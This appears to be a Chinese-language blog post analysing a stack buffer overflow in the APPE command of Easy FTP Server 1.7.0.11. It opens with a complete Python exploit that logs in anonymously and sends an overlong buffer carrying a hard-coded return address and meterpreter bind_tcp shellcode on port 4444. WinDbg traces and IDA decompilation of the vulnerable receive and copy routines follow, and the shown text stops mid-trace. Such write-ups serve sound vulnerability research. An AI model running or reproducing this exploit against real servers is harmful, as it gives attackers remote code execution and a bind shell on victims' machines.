作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
此漏洞是由于Easy FTP Server中在接收指令后没有进行严格的长度控制,导致在后续函数传入后会进入一个while循环,在循环中由于连续向缓冲区拷贝,最终导致返回地址覆盖,任意代码执行,之前Seebug所有Easy FTP漏洞都是由此产生,因此就提交一个,下面进行详细分析。
软件下载:
https://www.exploit-db.com/apps/16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en.zip
PoC:
import socket
username = "anonymous"
password = "a@a"
hostname = "192.168.1.143"
port = 21
#009BFE69 <--- where to go
#009BFC6C <--- value of ESP
# increment ESP and add patch to that memory location
patch=("\xcc"
"\x89\xe3"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x5a"
"\x83\xc4\x3b"
"\xc7\x04\x24\xd8\xd1\xec\xf7"
"\x89\xdc"
"\x31\xdb"
)
#
#shellcode: windows/meterpreter/bind_tcp on port 4444
#
stage1=(
"\x31\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xf8\x6c\x9c\xb0\x83\xee\xfc\xe2\xf4\x04\x84\x15\xb0\xf8\x6c"
"\xfc\x39\x1d\x5d\x4e\xd4\x73\x3e\xac\x3b\xaa\x60\x17\xe2\xec"
"\xe7\xee\x98\xf7\xdb\xd6\x96\xc9\x93\xad\x70\x54\x50\xfd\xcc"
"\xfa\x40\xbc\x71\x37\x61\x9d\x77\x1a\x9c\xce\xe7\x73\x3e\x8c"
"\x3b\xba\x50\x9d\x60\x73\x2c\xe4\x35\x38\x18\xd6\xb1\x28\x3c"
"\x17\xf8\xe0\xe7\xc4\x90\xf9\xbf\x7f\x8c\xb1\xe7\xa8\x3b\xf9"
"\xba\xad\x4f\xc9\xac\x30\x71\x37\x61\x9d\x77\xc0\x8c\xe9\x44"
"\xfb\x11\x64\x8b\x85\x48\xe9\x52\xa0\xe7\xc4\x94\xf9\xbf\xfa"
"\x3b\xf4\x27\x17\xe8\xe4\x6d\x4f\x3b\xfc\xe7\x9d\x60\x71\x28"
"\xb8\x94\xa3\x37\xfd\xe9\xa2\x3d\x63\x50\xa0\x33\xc6\x3b\xea"
"\x87\x1a\xed\x90\x5f\xae\xb0\xf8\x04\xeb\xc3\xca\x33\xc8\xd8"
"\xb4\x1b\xba\xb7\x07\xb9\x24\x20\xf9\x6c\x9c\x99\x3c\x38\xcc"
)
#patch=("\xd8\xd1\xec\xf7")
stage2=(
"\xb0\x07\xb9\xcc\xe0\xa8\x3c\xdc\xe0\xb8\x3c"
"\xf4\x5a\xf7\xb3\x7c\x4f\x2d\xe5\x5b\x81\x23\x3f\xf4\xb2\xf8"
"\x7d\xc0\x39\x1e\x06\x8c\xe6\xaf\x04\x5e\x6b\xcf\x0b\x63\x65"
"\xab\x3b\xf4\x07\x11\x54\x63\x4f\x2d\x3f\xcf\xe7\x90\x18\x70"
"\x8b\x19\x93\x49\xe7\x71\xab\xf4\xc5\x96\x21\xfd\x4f\x2d\x04"
"\xff\xdd\x9c\x6c\x15\x53\xaf\x3b\xcb\x81\x0e\x06\x8e\xe9\xae"
"\x8e\x61\xd6\x3f\x28\xb8\x8c\xf9\x6d\x11\xf4\xdc\x7c\x5a\xb0"
"\xbc\x38\xcc\xe6\xae\x3a\xda\xe6\xb6\x3a\xca\xe3\xae\x04\xe5"
"\x7c\xc7\xea\x63\x65\x71\x8c\xd2\xe6\xbe\x93\xac\xd8\xf0\xeb"
"\x81\xd0\x07\xb9\x27\x50\xe5\x46\x96\xd8\x5e\xf9\x21\x2d\x07"
"\xb9\xa0\xb6\x84\x66\x1c\x4b\x18\x19\x99\x0b\xbf\x7f\xee\xdf"
"\x92\x6c\xcf\x4f\x2d\x6c\x9c\xb0"
)
#009BFD5D where to jmp
buffer = "\x90" * (258 - (len(patch) + len(stage1))) + patch + "\x90"*10 + stage1 + "\x5d\xfd\x9b\x00" + stage2 + "\x90" * 50
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
## Connects and receives the banner
s.connect((hostname, port))
a = s.recv(1024)
print a
s.send("user " + username + "\r\n")
a =s.recv(1024)
print a
s.send("pass " + password + "\r\n")
a = s.recv(1024)
print a
s.send("APPE " + buffer + "\r\n")
s.close()
# EOF
漏洞复现
首先修改一下poc的buffer,改成畸形字符串,发送字符串,附加windbg到达漏洞位置。
0:002> g
(f0.12c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0089fcb8 ebx=00000000 ecx=41414141 edx=00000010 esi=003d4150 edi=003d4648
eip=41414141 esp=0089fc6c ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
程序已跳转至payload发送的字符串的无效地址,来看一下kb调用。
0:002> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0089fc68 003d4150 0089fd58 0089ffb4 00000001 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0089ffb4 7c80b713 003d2b90 00000000 00000000 0x3d4150
0089ffec 00000000 004182ac 003d2b90 00000000 kernel32!GetModuleFileNameA+0x1b4
此时无法回溯堆栈,通过IDA找到了recv函数。
.text:00410732 ; int __stdcall recv(SOCKET s, char *buf, int len, int flags)
.text:00410732 recv proc near ; CODE XREF: sub_404680+65p
.text:00410732 ; sub_4095D0+74p ...
.text:00410732
.text:00410732 s = dword ptr 4
.text:00410732 buf = dword ptr 8
.text:00410732 len = dword ptr 0Ch
.text:00410732 flags = dword ptr 10h
.text:00410732
.text:00410732 jmp ds:__imp_recv
.text:00410732 recv endp
从此函数入手就可以跟踪到用户输入的过程。
漏洞分析
通过recv地址回跳,可以找到recv的外层函数,一共命中3次,都是相同的返回地址。
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=71a23168 edx=0089fd58 esi=00000000 edi=000000d0
eip=00410732 esp=0089fc08 ebp=0089fd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x10732:
00410732 ff254c524200 jmp dword ptr [ftpbasicsvr+0x2524c (0042524c)] ds:0023:0042524c={WS2_32!recv (71a2676f)}
0:002> p
eax=00000001 ebx=00000000 ecx=71a23168 edx=0089fd58 esi=00000000 edi=000000d0
eip=71a2676f esp=0089fc08 ebp=0089fd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WS2_32!recv:
71a2676f 8bff mov edi,edi
0:002> gu
eax=00000001 ebx=00000000 ecx=0014fb00 edx=00000001 esi=00000000 edi=000000d0
eip=00409649 esp=0089fc1c ebp=0089fd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9649:
00409649 85c0 test eax,eax
0:002> p
eax=00000001 ebx=00000000 ecx=0014fb00 edx=00000001 esi=00000000 edi=000000d0
eip=0040964b esp=0089fc1c ebp=0089fd58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ftpbasicsvr+0x964b:
0040964b 7e4d jle ftpbasicsvr+0x969a (0040969a) [br=0]
返回到00409649地址位置,可以直接获得recv的外层函数调用。
int __stdcall sub_4095D0(SOCKET s, int a2, int a3, int a4)
{
signed int v4; // ebx@1
unsigned int v5; // esi@1
int v6; // eax@3
int v7; // eax@4
int result; // eax@13
char buf[4]; // [sp+10h] [bp-110h]@1
struct timeval timeout; // [sp+14h] [bp-10Ch]@2
fd_set readfds; // [sp+1Ch] [bp-104h]@3
v4 = 0;
v5 = 0;
*(_DWORD *)buf = a3 - 1;
while ( 1 )
{
timeout.tv_sec = a4;
timeout.tv_usec = 0;
if ( v5 >= *(_DWORD *)buf )
break;
readfds.fd_array[0] = s;
readfds.fd_count = 1;
v6 = select(s + 1, &readfds, 0, 0, &timeout);
if ( v6 == 1 )
{
v4 = 0;
v7 = recv(s, (char *)(v5 + a2), 1, 0);
if ( v7 <= 0 )
{
*(_BYTE *)(v5 + a2) = 0;
return -1;
}
v5 += v7;
if ( *(_BYTE *)(v5 + a2 - 1) == 10 )
{
if ( *(_BYTE *)(v5 + a2 - 2) == 13 )
{
*(_BYTE *)(v5 + a2 - 2) = 0;
result = 0;
}
else
{
*(_BYTE *)(v5 + a2 - 1) = 0;
result = 0;
}
return result;
}
}
else
{
if ( v6 )
return -1;
v4 += a4;
if ( v4 > 90 )
{
closesocket(s);
return -1;
}
}
}
*(_BYTE *)(v5 + a2) = 0;
while ( recv(s, buf, 1, 0) > 0 && buf[0] != 10 )
;
return -2;
}
可以看到这里执行了一个while语句,因此如果单独跟内层函数调用的话,第一是获得不了recv到底接收了什么数据,第二是长时间处于调试跟踪状态,容易让socket断开连接,导致无法接收到后续数据。
观察一下这个函数,主要作用就是获取数据,因此再往外层函数跟踪。
.text:00409726 push eax ; int
.text:00409727 push 200h ; int
.text:0040972C push ecx ; int
.text:0040972D push edx ; s
.text:0040972E mov ecx, esi
.text:00409730 call sub_4095D0
在外层看到调用,在00409730位置下断点,跟踪可以发现命中了3次,3次过程动态调试结果。
第一次接收到了username
0:002> bp 00409730
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=003d2b90 ecx=003d4150 edx=000000c8 esi=003d4150 edi=0089ff59
eip=00409730 esp=0089fd40 ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9730:
00409730 e89bfeffff call ftpbasicsvr+0x95d0 (004095d0)
0:002> p
eax=00000000 ebx=003d2b90 ecx=00150f0d edx=00000001 esi=003d4150 edi=0089ff59
eip=00409735 esp=0089fd50 ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0x9735:
00409735 85c0 test eax,eax
0:002> dc esp
0089fd50 003d4ac8 003d34a8 72657375 6f6e6120 .J=..4=.user ano
0089fd60 6f6d796e 0a007375 00000000 00000000 nymous..........
第二次接收到了密码
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=003d2b90 ecx=003d4150 edx=000000d8 esi=003d4150 edi=0089ff59
eip=00409730 esp=0089fd40 ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9730:
00409730 e89bfeffff call ftpbasicsvr+0x95d0 (004095d0)
0:002> p
eax=00000000 ebx=003d2b90 ecx=0014fb0d edx=00000001 esi=003d4150 edi=0089ff59
eip=00409735 esp=0089fd50 ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0x9735:
00409735 85c0 test eax,eax
0:002> dc esp
0089fd50 003d4000 003d40a8 73736170 6f6e6120 .@=..@=.pass ano
0089fd60 6f6d796e 0a007375 00000000 00000000 nymous..........
第三次接收到了畸形数据
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=003d2b90 ecx=003d4150 edx=000000d0 esi=003d4150 edi=0089ff59
eip=00409730 esp=0089fd40 ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9730:
00409730 e89bfeffff call ftpbasicsvr+0x95d0 (004095d0)
0:002> p
eax=00000000 ebx=003d2b90 ecx=0014fb0d edx=00000001 esi=003d4150 edi=0089ff59
eip=00409735 esp=0089fd50 ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0x9735:
00409735 85c0 test eax,eax
0:002> p
eax=00000000 ebx=003d2b90 ecx=0014fb0d edx=00000001 esi=003d4150 edi=0089ff59
eip=00409737 esp=0089fd50 ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9737:
00409737 751b jne ftpbasicsvr+0x9754 (00409754) [br=0]
0:002> dc esp
0089fd50 003d4ab8 003d43c0 45505041 41414120 .J=..C=.APPE AAA
0089fd60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fda0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fdb0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fdc0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
这里会采用我开发的跟踪脚本,首先会到达一处call调用位置。
0:002> p
eax=0089fd58 ebx=003d2b90 ecx=003d4150 edx=00000001 esi=003d4150 edi=0089ff59
eip=0040973f esp=0089fd50 ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x973f:
0040973f 50 push eax
0:002> p
eax=0089fd58 ebx=003d2b90 ecx=003d4150 edx=00000001 esi=003d4150 edi=0089ff59
eip=00409740 esp=0089fd4c ebp=0089ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0x9740:
00409740 e87bb7ffff call ftpbasicsvr+0x4ec0 (00404ec0)
0:002> dd eax
0089fd58 45505041 41414120 41414141 41414141
0089fd68 41414141 41414141 41414141 41414141
0089fd78 41414141 41414141 41414141 41414141
0089fd88 41414141 41414141 41414141 41414141
0089fd98 41414141 41414141 41414141 41414141
0089fda8 41414141 41414141 41414141 41414141
0089fdb8 41414141 41414141 41414141 41414141
0089fdc8 41414141 41414141 41414141 41414141
这时,eax寄存器指针保存的是接收到的payload,继续跟入,会发现这个call调用的函数负责处理指令,当遇到不同指令的时候,执行不同的代码逻辑。所以当碰到APPE的时候
loc_4051B0: ; "APPE"
push offset aAppe
lea ecx, [esp+28h+var_18]
call sub_40DE70
test eax, eax
jz short loc_40520C
这处分支会判断通过,并且继续向下执行。
.text:0040820A loc_40820A: ; CODE XREF: sub_408150+93j
.text:0040820A push 1
.text:0040820C lea ecx, [esp+0B4h+var_94]
.text:00408210 call sub_40DD00
.text:00408215 push eax
.text:00408216 lea ecx, [esp+0B8h+var_64]
.text:0040821A call sub_40BA30
到达sub_40BA30位置触发漏洞,这里会对畸形字符串进行连续拷贝。
0:002> bp 0040821A
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
0:002> g
Breakpoint 0 hit
eax=003d4520 ebx=00000000 ecx=0089fcb8 edx=00420001 esi=003d4150 edi=003d4648
eip=0040821a esp=0089fc64 ebp=0089ffb4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ftpbasicsvr+0x821a:
0040821a e811380000 call ftpbasicsvr+0xba30 (0040ba30)
0:002> dd esp
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0089fc64 003d4520 00000001 003d4150 0089fd58
0089fc74 0089ffb4 00000001 00425360 003d4018
0089fc84 00000000 00425360 003d4520 00000113
0089fc94 00425360 003d4268 00000000 7c92e900
0089fca4 7c930040 ffffffff 7c93003d 004171f8
0089fcb4 003d0000 00000000 003d4520 003d4758
0089fcc4 003d4635 0089fd30 00000116 003d4150
0089fcd4 00000001 0089fd3c 0041c790 00425b48
0:002> dc 0089fd58
0089fd58 45505041 41414120 41414141 41414141 APPE AAAAAAAAAAA
0089fd68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd78 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd88 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fd98 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fda8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fdb8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0089fdc8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
这里payload会作为第四个参数传入函数。接下来,在程序中会到达一处循环,这处循环会令esi寄存器作为计数器开始循环赋值。
0:002> dc esi
003d4521 4141415c 41414141 41414141 41414141 \AAAAAAAAAAAAAAA
003d4531 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4541 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4551 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4561 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4571 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4581 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4591 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb04 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb04:
0040bb04 8a10 mov dl,byte ptr [eax] ds:0023:0089fb54=00
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb06 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb06:
0040bb06 8aca mov cl,dl
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb08 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb08:
0040bb08 3a16 cmp dl,byte ptr [esi] ds:0023:0042ea68=00
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb0a esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb0a:
0040bb0a 751c jne ftpbasicsvr+0xbb28 (0040bb28) [br=0]
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb0c esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb0c:
0040bb0c 84c9 test cl,cl
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb0e esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb0e:
0040bb0e 7414 je ftpbasicsvr+0xbb24 (0040bb24) [br=1]
0:002> p
eax=0089fb54 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb24 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb24:
0040bb24 33c0 xor eax,eax
0:002> p
eax=00000000 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb26 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb26:
0040bb26 eb05 jmp ftpbasicsvr+0xbb2d (0040bb2d)
0:002> p
eax=00000000 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb2d esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb2d:
0040bb2d 85c0 test eax,eax
0:002> p
eax=00000000 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bb2f esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbb2f:
0040bb2f 0f8447010000 je ftpbasicsvr+0xbc7c (0040bc7c) [br=1]
0:002> p
eax=00000000 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bc7c esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc7c:
0040bc7c 8b442420 mov eax,dword ptr [esp+20h] ss:0023:0089fb40=ffc2bae1
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=00000000 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bc80 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc80:
0040bc80 8b4c2418 mov ecx,dword ptr [esp+18h] ss:0023:0089fb38=003d4521
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4521 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bc84 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc84:
0040bc84 8b6c241c mov ebp,dword ptr [esp+1Ch] ss:0023:0089fb3c=00000001
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4521 edx=00000000 esi=0042ea68 edi=0089fb54
eip=0040bc88 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc88:
0040bc88 8bb42444010000 mov esi,dword ptr [esp+144h] ss:0023:0089fc64=003d4520
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4521 edx=00000000 esi=003d4520 edi=0089fb54
eip=0040bc8f esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc8f:
0040bc8f 8d1408 lea edx,[eax+ecx]
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4521 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bc92 esp=0089fb20 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ftpbasicsvr+0xbc92:
0040bc92 45 inc ebp
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4521 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bc93 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ftpbasicsvr+0xbc93:
0040bc93 41 inc ecx
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bc94 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbc94:
0040bc94 896c241c mov dword ptr [esp+1Ch],ebp ss:0023:0089fb3c=00000001
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bc98 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbc98:
0040bc98 894c2418 mov dword ptr [esp+18h],ecx ss:0023:0089fb38=003d4521
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bc9c esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbc9c:
0040bc9c e917feffff jmp ftpbasicsvr+0xbab8 (0040bab8)
0:002> p
eax=ffc2bae1 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bab8 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbab8:
0040bab8 8a01 mov al,byte ptr [ecx] ds:0023:003d4522=41
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040baba esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbaba:
0040baba 3c5c cmp al,5Ch
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040babc esp=0089fb20 ebp=00000002 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
ftpbasicsvr+0xbabc:
0040babc 7418 je ftpbasicsvr+0xbad6 (0040bad6) [br=0]
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040babe esp=0089fb20 ebp=00000002 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
ftpbasicsvr+0xbabe:
0040babe 3c2f cmp al,2Fh
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bac0 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ftpbasicsvr+0xbac0:
0040bac0 7414 je ftpbasicsvr+0xbad6 (0040bad6) [br=0]
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bac2 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ftpbasicsvr+0xbac2:
0040bac2 84c0 test al,al
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bac4 esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbac4:
0040bac4 0f84d7010000 je ftpbasicsvr+0xbca1 (0040bca1) [br=0]
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040baca esp=0089fb20 ebp=00000002 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbaca:
0040baca 45 inc ebp
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4522 edx=00000002 esi=003d4520 edi=0089fb54
eip=0040bacb esp=0089fb20 ebp=00000003 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xbacb:
0040bacb 41 inc ecx
0:002> p
eax=ffc2ba41 ebx=0089fcd0 ecx=003d4523 edx=00000002 esi=003d4520 edi=0089fb54
